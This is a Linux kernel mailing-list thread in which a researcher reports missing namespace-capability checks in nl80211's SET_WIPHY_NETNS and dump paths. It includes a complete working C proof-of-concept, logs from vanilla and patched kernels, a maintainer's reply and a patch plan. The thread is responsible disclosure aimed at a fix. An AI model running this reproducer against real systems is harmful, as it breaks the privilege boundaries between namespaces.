public inbox for linux-kernel@vger.kernel.org
 help / color / mirror / Atom feed
* nl80211: SET_WIPHY_NETNS does not check caller's CAP_NET_ADMIN  over the target netns
@ 2026-05-03  6:55 Xie Maoyi
  2026-05-04  8:28 ` Johannes Berg
  0 siblings, 1 reply; 3+ messages in thread
From: Xie Maoyi @ 2026-05-03  6:55 UTC (permalink / raw)
  To: johannes@sipsolutions.net
  Cc: linux-wireless@vger.kernel.org, linux-kernel@vger.kernel.org

[-- Attachment #1: Type: text/plain, Size: 5236 bytes --]

Hi Johannes,

I think I have found two related namespace handling gaps in nl80211 on v7.0 mainline. I would appreciate your view on whether they are bugs and whether they are worth fixing. The second one is much narrower than the first.

Bug A: NL80211_CMD_SET_WIPHY_NETNS does not check the target netns.

nl80211_wiphy_netns() is around line 13538 in net/wireless/nl80211.c. It resolves the target netns from NL80211_ATTR_PID or NL80211_ATTR_NETNS_FD. It then calls cfg80211_switch_netns() right away. The genl op flag GENL_UNS_ADMIN_PERM only checks CAP_NET_ADMIN over the caller's own user namespace. There is no check against the target netns.

By comparison, net/core/rtnetlink.c::rtnl_get_net_ns_capable() spells out the convention:

    /* For now, the caller is required to have CAP_NET_ADMIN in
     * the user namespace owning the target net ns. */
    if (!sk_ns_capable(sk, net->user_ns, CAP_NET_ADMIN))
        return ERR_PTR(-EACCES);

So a caller that has CAP_NET_ADMIN only in their own user namespace can push a wiphy into any netns whose fd or pid they can resolve. This includes init_net. The wiphy must have WIPHY_FLAG_NETNS_OK set. That flag is set by mac80211_hwsim. It is also set on any wiphy that an administrator has delegated into a container.

Reproducer (poc_nl80211_setns.c, attached). Tested on a KASAN VM with mac80211_hwsim radios=1 in init_net.

  1. Real root in init_net spawns hwsim phyN.
  2. fork(). Child runs unshare(CLONE_NEWUSER | CLONE_NEWNET) and writes a 0-mapped uid_map to become "root" in its own user_ns.
  3. Real root migrates phyN into the child's netns. This is the legitimate admin step. Container Wi-Fi delegation does the same thing.
  4. Child issues NL80211_CMD_SET_WIPHY_NETNS with NL80211_ATTR_NETNS_FD pointing at init_net's netns fd.
  5. The kernel honours the request. phyN moves back to init_net. The caller has no CAP_NET_ADMIN in init_net.

Vanilla output (poc_vanilla.log, attached):

    [child] uid=0 netns=net:[4026532261]
    [child] BUG: SET_WIPHY_NETNS to init_net SUCCEEDED from attacker userns/netns without CAP_NET_ADMIN over init_net
    [init_net after child finished] /sys/class/ieee80211 = phyN

The final line shows phyN back in init_net.

Bug B: nl80211_prepare_wdev_dump() continuation does not re-check netns.

The first dumpit invocation validates the wdev against the caller via __cfg80211_wdev_from_attrs(..., sock_net(cb->skb->sk), ...). Subsequent invocations look up the wiphy by global index via wiphy_idx_to_wiphy(). They do not re-check sock_net(cb->skb->sk) against the wiphy's current netns.

Other dump paths in the same file do this check on every iteration. See nl80211_dump_wiphy() at line 3437 and the parallel scheduled scan dump at line 4420.

If a wiphy moves between dumpit invocations of NL80211_CMD_GET_SCAN via NL80211_CMD_SET_WIPHY_NETNS, the dump silently keeps copying BSS list contents from the wiphy's new netns into the caller's netns. On its own this race needs a separate caller to migrate the wiphy mid-dump. With bug A, the attacker can arrange the race themselves.

What I tested on

  * Linux v7.0 vanilla mainline tag, x86_64.
  * KASAN+lockdep enabled, bookworm rootfs, qemu-kvm.
  * mac80211_hwsim built as a module.
  * Reproducer compiled with plain gcc, raw genetlink, no liburing
    or libnl dependency.

Note on the post-fix log

The post-fix log ends with an empty /sys/class/ieee80211 listing. This is not a patch side effect. The patched kernel correctly rejects the child's SET_WIPHY_NETNS with -EPERM, so phyN stays in the child's netns. When the child exits, that netns is destroyed.
mac80211_hwsim's pernet_exit handler then cleans up the wiphy. So init_net sees nothing, which is the expected cleanup path. The relevant signal in the post-fix log is the EPERM line:

    [child] SET_WIPHY_NETNS to init_net rc=-1 (Operation not permitted) (correctly rejected)

I have a small two-patch series against v7.0 that closes both gaps. Patch 1/2 mirrors rtnl_get_net_ns_capable() in nl80211_wiphy_netns(). Patch 2/2 adds the missing net_eq() check in nl80211_prepare_wdev_dump()'s continuation branch. I have re-run the same reproducer against the patched kernel. The attacker's SET_WIPHY_NETNS now returns -EPERM. The legitimate admin path is unaffected.

I would prefer to send the patches as a separate thread once you have had a chance to look at the report and tell me whether and how you would like them fixed.

Attachments:
  poc_nl80211_setns.c -- C reproducer, raw genetlink
  poc_vanilla.log     -- reproducer output on vanilla v7.0
  poc_post_patch.log  -- reproducer output on the patched v7.0 (attacker now gets -EPERM)

Thanks for taking a look. Apologies in advance if this is already known or out of scope.

Best regards,
Maoyi
Nanyang Technological University
https://maoyixie.com/
________________________________

CONFIDENTIALITY: This email is intended solely for the person(s) named and may be confidential and/or privileged. If you are not the intended recipient, please delete it, notify us and do not copy, use, or disclose its contents.
Towards a sustainable earth: Print only when necessary. Thank you.

[-- Attachment #2: poc_post_patch.log --]
[-- Type: application/octet-stream, Size: 647 bytes --]

[parent] using phy1 wiphy_idx=1
=== Initial state (init_net) ===
[init_net] /sys/class/ieee80211 = phy1
[child] uid=0 netns=net:[4026532261] (waiting for wiphy)
[parent] child ready, moving phy0 -> child netns
[parent] phy0 moved into child netns
[init_net after move-out] /sys/class/ieee80211 = [child] parent moved phy0 into my netns
[child after move-in] /sys/class/ieee80211 = [child] nl80211 family_id=28
[child] SET_WIPHY_NETNS to init_net rc=-1 (Operation not permitted) (correctly rejected)
[child after attempted move-out] /sys/class/ieee80211 = [parent] child exited, final state:
[init_net after child finished] /sys/class/ieee80211 = 

[-- Attachment #3: poc_vanilla.log --]
[-- Type: application/octet-stream, Size: 689 bytes --]

[parent] using phy3 wiphy_idx=3
=== Initial state (init_net) ===
[init_net] /sys/class/ieee80211 = phy3
[child] uid=0 netns=net:[4026532261] (waiting for wiphy)
[parent] child ready, moving phy0 -> child netns
[parent] phy0 moved into child netns
[init_net after move-out] /sys/class/ieee80211 = [child] parent moved phy0 into my netns
[child after move-in] /sys/class/ieee80211 = [child] nl80211 family_id=28
[child] *** BUG: SET_WIPHY_NETNS to init_net SUCCEEDED from attacker userns/netns without CAP_NET_ADMIN over init_net ***
[child after attempted move-out] /sys/class/ieee80211 = phy3
[parent] child exited, final state:
[init_net after child finished] /sys/class/ieee80211 = phy3

[-- Attachment #4: poc_nl80211_setns.c --]
[-- Type: text/plain, Size: 13173 bytes --]

/*
 * PoC for nl80211 missing target-netns CAP_NET_ADMIN check in
 * NL80211_CMD_SET_WIPHY_NETNS, plus the related dump-scan continuation
 * netns recheck gap in nl80211_prepare_wdev_dump.
 *
 * Bug A (target-cap missing): NL80211_CMD_SET_WIPHY_NETNS only checks
 *   CAP_NET_ADMIN over the netlink socket's netns. It does NOT check
 *   that the caller has CAP_NET_ADMIN over the *target* netns. Compare
 *   net/core/rtnetlink.c::rtnl_get_net_ns_capable() which mandates this
 *   check.
 *
 * Setup: we need a wiphy in the attacker's netns to start. Real-world
 * scenarios where this happens: admin grants Wi-Fi to a container;
 * mac80211_hwsim spawned in attacker's netns; SR-IOV WiFi VFs assigned.
 * For this PoC we use mac80211_hwsim and have init_net root migrate the
 * wiphy into the attacker's netns first, then verify the attacker (with
 * only fake-root via userns) can move it out without CAP_NET_ADMIN over
 * the destination netns.
 *
 * Build: gcc poc_nl80211_setns.c -o poc_nl80211_setns
 * Run as root on a kernel with mac80211_hwsim loaded.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>

#define NL80211_FAMILY "nl80211"

/* From <linux/nl80211.h> */
#define NL80211_CMD_GET_WIPHY        1
#define NL80211_CMD_SET_WIPHY_NETNS  49   /* 0x31, verified from UAPI */
#define NL80211_ATTR_WIPHY           1
#define NL80211_ATTR_PID             82
#define NL80211_ATTR_NETNS_FD        219

struct nl_state {
    int sk;
    uint16_t family_id;
    uint32_t pid;
};

static int nl_open(struct nl_state *st)
{
    st->sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (st->sk < 0) { perror("socket(NETLINK_GENERIC)"); return -1; }
    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
    if (bind(st->sk, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("bind"); return -1;
    }
    socklen_t slen = sizeof(sa);
    if (getsockname(st->sk, (struct sockaddr *)&sa, &slen) < 0) {
        perror("getsockname"); return -1;
    }
    st->pid = sa.nl_pid;
    return 0;
}

/* Resolve the nl80211 family ID + the SET_WIPHY_NETNS cmd ID via
 * CTRL_CMD_GETFAMILY. */
static int nl_resolve_family(struct nl_state *st, int *cmd_set_netns,
                             int *cmd_get_wiphy)
{
    char buf[4096] = {0};
    struct nlmsghdr *nh = (struct nlmsghdr *)buf;
    nh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    nh->nlmsg_type = GENL_ID_CTRL;
    nh->nlmsg_flags = NLM_F_REQUEST;
    nh->nlmsg_seq = 1;
    nh->nlmsg_pid = st->pid;
    struct genlmsghdr *gh = NLMSG_DATA(nh);
    gh->cmd = CTRL_CMD_GETFAMILY;
    gh->version = 1;
    /* Add CTRL_ATTR_FAMILY_NAME = "nl80211" */
    struct nlattr *na = (struct nlattr *)((char *)gh + GENL_HDRLEN);
    na->nla_type = CTRL_ATTR_FAMILY_NAME;
    int slen = strlen(NL80211_FAMILY) + 1;
    na->nla_len = NLA_HDRLEN + slen;
    memcpy((char *)na + NLA_HDRLEN, NL80211_FAMILY, slen);
    nh->nlmsg_len += NLA_ALIGN(na->nla_len);

    if (send(st->sk, nh, nh->nlmsg_len, 0) < 0) {
        perror("send(GETFAMILY)"); return -1;
    }

    char rbuf[8192];
    int n = recv(st->sk, rbuf, sizeof(rbuf), 0);
    if (n < 0) { perror("recv"); return -1; }

    nh = (struct nlmsghdr *)rbuf;
    if (nh->nlmsg_type == NLMSG_ERROR) {
        struct nlmsgerr *e = NLMSG_DATA(nh);
        fprintf(stderr, "GETFAMILY error %d (%s)\n", -e->error, strerror(-e->error));
        return -1;
    }

    /* Walk attrs. We need CTRL_ATTR_FAMILY_ID and the OPS list. */
    gh = NLMSG_DATA(nh);
    char *p = (char *)gh + GENL_HDRLEN;
    char *end = (char *)nh + nh->nlmsg_len;
    *cmd_set_netns = -1;
    *cmd_get_wiphy = -1;
    while (p + NLA_HDRLEN <= end) {
        struct nlattr *a = (struct nlattr *)p;
        if (a->nla_len < NLA_HDRLEN) break;
        char *adata = p + NLA_HDRLEN;
        switch (a->nla_type & NLA_TYPE_MASK) {
        case CTRL_ATTR_FAMILY_ID:
            st->family_id = *(uint16_t *)adata;
            break;
        case CTRL_ATTR_OPS: {
            char *oend = p + a->nla_len;
            char *op = adata;
            while (op + NLA_HDRLEN <= oend) {
                struct nlattr *opa = (struct nlattr *)op;
                if (opa->nla_len < NLA_HDRLEN) break;
                /* opa is each op as nested. */
                char *opd = op + NLA_HDRLEN;
                char *opdend = op + opa->nla_len;
                int op_id = -1;
                while (opd + NLA_HDRLEN <= opdend) {
                    struct nlattr *fa = (struct nlattr *)opd;
                    if (fa->nla_len < NLA_HDRLEN) break;
                    if ((fa->nla_type & NLA_TYPE_MASK) == CTRL_ATTR_OP_ID) {
                        op_id = *(uint32_t *)(opd + NLA_HDRLEN);
                    }
                    opd += NLA_ALIGN(fa->nla_len);
                }
                /* We don't get cmd names back, but we know the enum
                 * positions: GET_WIPHY=1, SET_WIPHY_NETNS=33 in v7.0. */
                op = op + NLA_ALIGN(opa->nla_len);
                (void)op_id;
            }
            break;
        }
        }
        p += NLA_ALIGN(a->nla_len);
    }
    /* Use the canonical enum values. NL80211_CMD_SET_WIPHY_NETNS = 49 */
    *cmd_set_netns = NL80211_CMD_SET_WIPHY_NETNS;
    *cmd_get_wiphy = NL80211_CMD_GET_WIPHY;
    return 0;
}

/* Send NL80211_CMD_SET_WIPHY_NETNS for wiphy_idx, target=netns_fd.
 * Returns 0 on success, -errno otherwise. */
static int send_set_wiphy_netns(struct nl_state *st, int wiphy_idx,
                                int netns_fd, int cmd_id)
{
    char buf[1024] = {0};
    struct nlmsghdr *nh = (struct nlmsghdr *)buf;
    nh->nlmsg_type = st->family_id;
    nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nh->nlmsg_seq = 42;
    nh->nlmsg_pid = st->pid;
    nh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    struct genlmsghdr *gh = NLMSG_DATA(nh);
    gh->cmd = cmd_id;
    gh->version = 1;

    /* NL80211_ATTR_WIPHY (u32) */
    struct nlattr *a = (struct nlattr *)((char *)nh + nh->nlmsg_len);
    a->nla_type = NL80211_ATTR_WIPHY;
    a->nla_len = NLA_HDRLEN + sizeof(uint32_t);
    *(uint32_t *)((char *)a + NLA_HDRLEN) = wiphy_idx;
    nh->nlmsg_len += NLA_ALIGN(a->nla_len);

    /* NL80211_ATTR_NETNS_FD (u32) */
    a = (struct nlattr *)((char *)nh + nh->nlmsg_len);
    a->nla_type = NL80211_ATTR_NETNS_FD;
    a->nla_len = NLA_HDRLEN + sizeof(uint32_t);
    *(uint32_t *)((char *)a + NLA_HDRLEN) = netns_fd;
    nh->nlmsg_len += NLA_ALIGN(a->nla_len);

    if (send(st->sk, nh, nh->nlmsg_len, 0) < 0) {
        perror("send(SET_WIPHY_NETNS)"); return -errno;
    }
    char rbuf[1024];
    int n = recv(st->sk, rbuf, sizeof(rbuf), 0);
    if (n < 0) { perror("recv"); return -errno; }
    nh = (struct nlmsghdr *)rbuf;
    if (nh->nlmsg_type == NLMSG_ERROR) {
        struct nlmsgerr *e = NLMSG_DATA(nh);
        return e->error;  /* 0 on success, negative errno on failure */
    }
    return 0;
}

static void show_phy(const char *who) {
    fprintf(stderr, "[%s] /sys/class/ieee80211 = ", who);
    char buf[256];
    snprintf(buf, sizeof(buf), "ls /sys/class/ieee80211 2>&1");
    FILE *f = popen(buf, "r");
    if (f) {
        char line[64];
        while (fgets(line, sizeof(line), f)) fprintf(stderr, "%s", line);
        fclose(f);
    }
}

int main(int argc, char **argv)
{
    /* Discover the wiphy_idx of the first hwsim phy in init_net by
     * reading /sys/class/ieee80211/<name>/index. */
    int wiphy_idx = -1;
    {
        FILE *f = popen("ls /sys/class/ieee80211 2>/dev/null | head -n1", "r");
        char name[64];
        if (f && fgets(name, sizeof(name), f)) {
            name[strcspn(name, "\n")] = 0;
            char path[128];
            snprintf(path, sizeof(path), "/sys/class/ieee80211/%s/index", name);
            FILE *g = fopen(path, "r");
            if (g) { fscanf(g, "%d", &wiphy_idx); fclose(g); }
            fprintf(stderr, "[parent] using %s wiphy_idx=%d\n", name, wiphy_idx);
        }
        if (f) pclose(f);
    }
    if (wiphy_idx < 0) {
        fprintf(stderr, "no wiphy in /sys/class/ieee80211, ensure hwsim loaded\n");
        return 2;
    }

    fprintf(stderr, "=== Initial state (init_net) ===\n");
    show_phy("init_net");

    /* Step 1: open init_net netns fd to use as target later. */
    int init_netns_fd = open("/proc/self/ns/net", O_RDONLY);
    if (init_netns_fd < 0) { perror("open /proc/self/ns/net"); return 2; }

    /* Step 2: fork a child that:
     *    a) unshare(CLONE_NEWUSER | CLONE_NEWNET) -> assert "fake root"
     *       in attacker user_ns + fresh netns.
     *    b) parent (still in init_net) moves phy0 into child's netns
     *       via legitimate SET_WIPHY_NETNS (we have real CAP_NET_ADMIN
     *       in init_net for that step, mirroring an admin grant).
     *    c) child waits for parent to signal "done", then issues
     *       NL80211_CMD_SET_WIPHY_NETNS targeting init_net (where the
     *       child has NO CAP_NET_ADMIN).
     *    d) if the kernel honours that command, the wiphy moves back
     *       into init_net even though the attacker has no privilege
     *       over init_net -- bug confirmed.
     */
    int p2c[2], c2p[2];
    pipe(p2c); pipe(c2p);

    pid_t cpid = fork();
    if (cpid < 0) { perror("fork"); return 2; }
    if (cpid == 0) {
        close(p2c[1]); close(c2p[0]);
        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
            perror("[child] unshare"); _exit(2);
        }
        /* fake root via uid_map 0 0 1 */
        char b[64]; int fd, n;
        if ((fd = open("/proc/self/setgroups", O_WRONLY)) >= 0) { write(fd,"deny",4); close(fd); }
        fd = open("/proc/self/uid_map", O_WRONLY);
        n = snprintf(b,sizeof(b),"0 0 1\n"); write(fd,b,n); close(fd);
        fd = open("/proc/self/gid_map", O_WRONLY);
        n = snprintf(b,sizeof(b),"0 0 1\n"); write(fd,b,n); close(fd);

        char nsa[64]; int rl = readlink("/proc/self/ns/net", nsa, 63);
        if (rl > 0) nsa[rl] = 0;
        fprintf(stderr, "[child] uid=%u netns=%s (waiting for wiphy)\n",
                getuid(), nsa);

        /* Tell parent to move phy0 to my netns. */
        write(c2p[1], "READY", 5);

        /* Wait until parent signals it's done. */
        char tmp[8];
        read(p2c[0], tmp, sizeof(tmp));
        fprintf(stderr, "[child] parent moved phy0 into my netns\n");
        show_phy("child after move-in");

        /* Now attempt the bug: SET_WIPHY_NETNS to send wiphy to init_net,
         * where attacker has no CAP_NET_ADMIN. */
        struct nl_state st = {0};
        if (nl_open(&st) < 0) _exit(2);
        int cmd_set, cmd_get;
        if (nl_resolve_family(&st, &cmd_set, &cmd_get) < 0) {
            fprintf(stderr, "[child] nl80211 family resolve failed\n");
            _exit(2);
        }
        fprintf(stderr, "[child] nl80211 family_id=%u\n", st.family_id);

        /* phy0 is wiphy_idx=0 (first hwsim radio) */
        int rc = send_set_wiphy_netns(&st, wiphy_idx, init_netns_fd, cmd_set);
        if (rc == 0) {
            fprintf(stderr,
              "[child] *** BUG: SET_WIPHY_NETNS to init_net SUCCEEDED "
              "from attacker userns/netns without CAP_NET_ADMIN over init_net ***\n");
        } else {
            fprintf(stderr,
              "[child] SET_WIPHY_NETNS to init_net rc=%d (%s) %s\n",
              rc, strerror(-rc),
              rc == -EACCES || rc == -EPERM ? "(correctly rejected)" :
              "(some other error)");
        }
        show_phy("child after attempted move-out");
        write(c2p[1], "DONE", 4);
        close(st.sk);
        _exit(0);
    }
    close(p2c[0]); close(c2p[1]);

    /* Parent (init_net) waits for child READY, then moves phy0 to child. */
    char tmp[8];
    read(c2p[0], tmp, sizeof(tmp));
    fprintf(stderr, "[parent] child ready, moving phy0 -> child netns\n");

    /* We need child's netns_fd. */
    char path[64];
    snprintf(path, sizeof(path), "/proc/%d/ns/net", cpid);
    int child_netns_fd = open(path, O_RDONLY);
    if (child_netns_fd < 0) { perror("[parent] open child netns"); kill(cpid,SIGKILL); return 2; }

    struct nl_state pst = {0};
    if (nl_open(&pst) < 0) return 2;
    int cmd_set, cmd_get;
    if (nl_resolve_family(&pst, &cmd_set, &cmd_get) < 0) {
        fprintf(stderr, "[parent] family resolve failed\n");
        return 2;
    }
    int rc = send_set_wiphy_netns(&pst, wiphy_idx, child_netns_fd, cmd_set);
    if (rc != 0) {
        fprintf(stderr, "[parent] move-in failed rc=%d (%s)\n", rc, strerror(-rc));
        kill(cpid, SIGKILL); return 2;
    }
    fprintf(stderr, "[parent] phy0 moved into child netns\n");
    show_phy("init_net after move-out");
    close(pst.sk);

    write(p2c[1], "GO", 2);
    read(c2p[0], tmp, sizeof(tmp));

    int status; waitpid(cpid, &status, 0);
    fprintf(stderr, "[parent] child exited, final state:\n");
    show_phy("init_net after child finished");
    close(init_netns_fd); close(child_netns_fd);
    return 0;
}

^ permalink raw reply	[flat|nested] 3+ messages in thread

* Re: nl80211: SET_WIPHY_NETNS does not check caller's CAP_NET_ADMIN  over the target netns
  2026-05-03  6:55 nl80211: SET_WIPHY_NETNS does not check caller's CAP_NET_ADMIN over the target netns Xie Maoyi
@ 2026-05-04  8:28 ` Johannes Berg
  2026-05-04 12:38   ` Xie Maoyi
  0 siblings, 1 reply; 3+ messages in thread
From: Johannes Berg @ 2026-05-04  8:28 UTC (permalink / raw)
  To: Xie Maoyi
  Cc: linux-wireless@vger.kernel.org, linux-kernel@vger.kernel.org,
	netdev

Hi,

On Sun, 2026-05-03 at 06:55 +0000, Xie Maoyi wrote:
> Hi Johannes,
> 
> I think I have found two related namespace handling gaps in nl80211 on v7.0 mainline. I would appreciate your view on whether they are bugs and whether they are worth fixing. The second one is much narrower than the first.
> 
> Bug A: NL80211_CMD_SET_WIPHY_NETNS does not check the target netns.

I guess that's more a question of convention than anything else?

But I guess we should follow the netdev convention:

> By comparison, net/core/rtnetlink.c::rtnl_get_net_ns_capable() spells out the convention:
> 
>     /* For now, the caller is required to have CAP_NET_ADMIN in
>      * the user namespace owning the target net ns. */
>     if (!sk_ns_capable(sk, net->user_ns, CAP_NET_ADMIN))
>         return ERR_PTR(-EACCES);

which (also?) requires access in the target netns.

> Bug B: nl80211_prepare_wdev_dump() continuation does not re-check netns.
> 
> The first dumpit invocation validates the wdev against the caller via __cfg80211_wdev_from_attrs(..., sock_net(cb->skb->sk), ...). Subsequent invocations look up the wiphy by global index via wiphy_idx_to_wiphy(). They do not re-check sock_net(cb->skb->sk) against the wiphy's current netns.
> 
> Other dump paths in the same file do this check on every iteration. See nl80211_dump_wiphy() at line 3437 and the parallel scheduled scan dump at line 4420.
> 
> If a wiphy moves between dumpit invocations of NL80211_CMD_GET_SCAN via NL80211_CMD_SET_WIPHY_NETNS, the dump silently keeps copying BSS list contents from the wiphy's new netns into the caller's netns. On its own this race needs a separate caller to migrate the wiphy mid-dump. With bug A, the attacker can arrange the race themselves.

This seems ... inconsequential? After all, moving a wireless device
between namespaces doesn't really change the physical layout of the
machine. Perhaps that'd give someone access to the SSID of some hidden
network but that's not really a secret anyway since it's over the air.

Maybe we should fix it for clarity and convention, but I don't see it's
really an issue?

johannes

^ permalink raw reply	[flat|nested] 3+ messages in thread

* Re: nl80211: SET_WIPHY_NETNS does not check caller's CAP_NET_ADMIN over the target netns
  2026-05-04  8:28 ` Johannes Berg
@ 2026-05-04 12:38   ` Xie Maoyi
  0 siblings, 0 replies; 3+ messages in thread
From: Xie Maoyi @ 2026-05-04 12:38 UTC (permalink / raw)
  To: Johannes Berg
  Cc: linux-wireless@vger.kernel.org, linux-kernel@vger.kernel.org,
	netdev@vger.kernel.org

On 5/4/26, Johannes Berg wrote:
> I guess that's more a question of convention than anything else?
>
> But I guess we should follow the netdev convention:
> ...
> which (also?) requires access in the target netns.

Thanks. I will send a patch that mirrors rtnl_get_net_ns_capable() in nl80211_wiphy_netns().

> This seems ... inconsequential? After all, moving a wireless device
> between namespaces doesn't really change the physical layout of the
> machine. Perhaps that'd give someone access to the SSID of some hidden
> network but that's not really a secret anyway since it's over the air.
>
> Maybe we should fix it for clarity and convention, but I don't see it's
> really an issue?

Understood that the impact is small on its own. I would still like to fold it in for the clarity and convention reason you mentioned. The fix in nl80211_prepare_wdev_dump() continuation is one net_eq() line. It brings that path in line with nl80211_dump_wiphy() at line 3437 and the scheduled scan dump at line 4420. Both already do the check on every iteration. Happy to drop it from the series if you prefer to leave it as is.

I will post a 2-patch series shortly. Both patches are already verified end to end on a KASAN VM (the EPERM PoC log was attached to the original report).

Best regards,
Maoyi
Nanyang Technological University
https://maoyixie.com/
________________________________

CONFIDENTIALITY: This email is intended solely for the person(s) named and may be confidential and/or privileged. If you are not the intended recipient, please delete it, notify us and do not copy, use, or disclose its contents.
Towards a sustainable earth: Print only when necessary. Thank you.

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-05-04 12:38 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-05-03  6:55 nl80211: SET_WIPHY_NETNS does not check caller's CAP_NET_ADMIN over the target netns Xie Maoyi
2026-05-04  8:28 ` Johannes Berg
2026-05-04 12:38   ` Xie Maoyi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox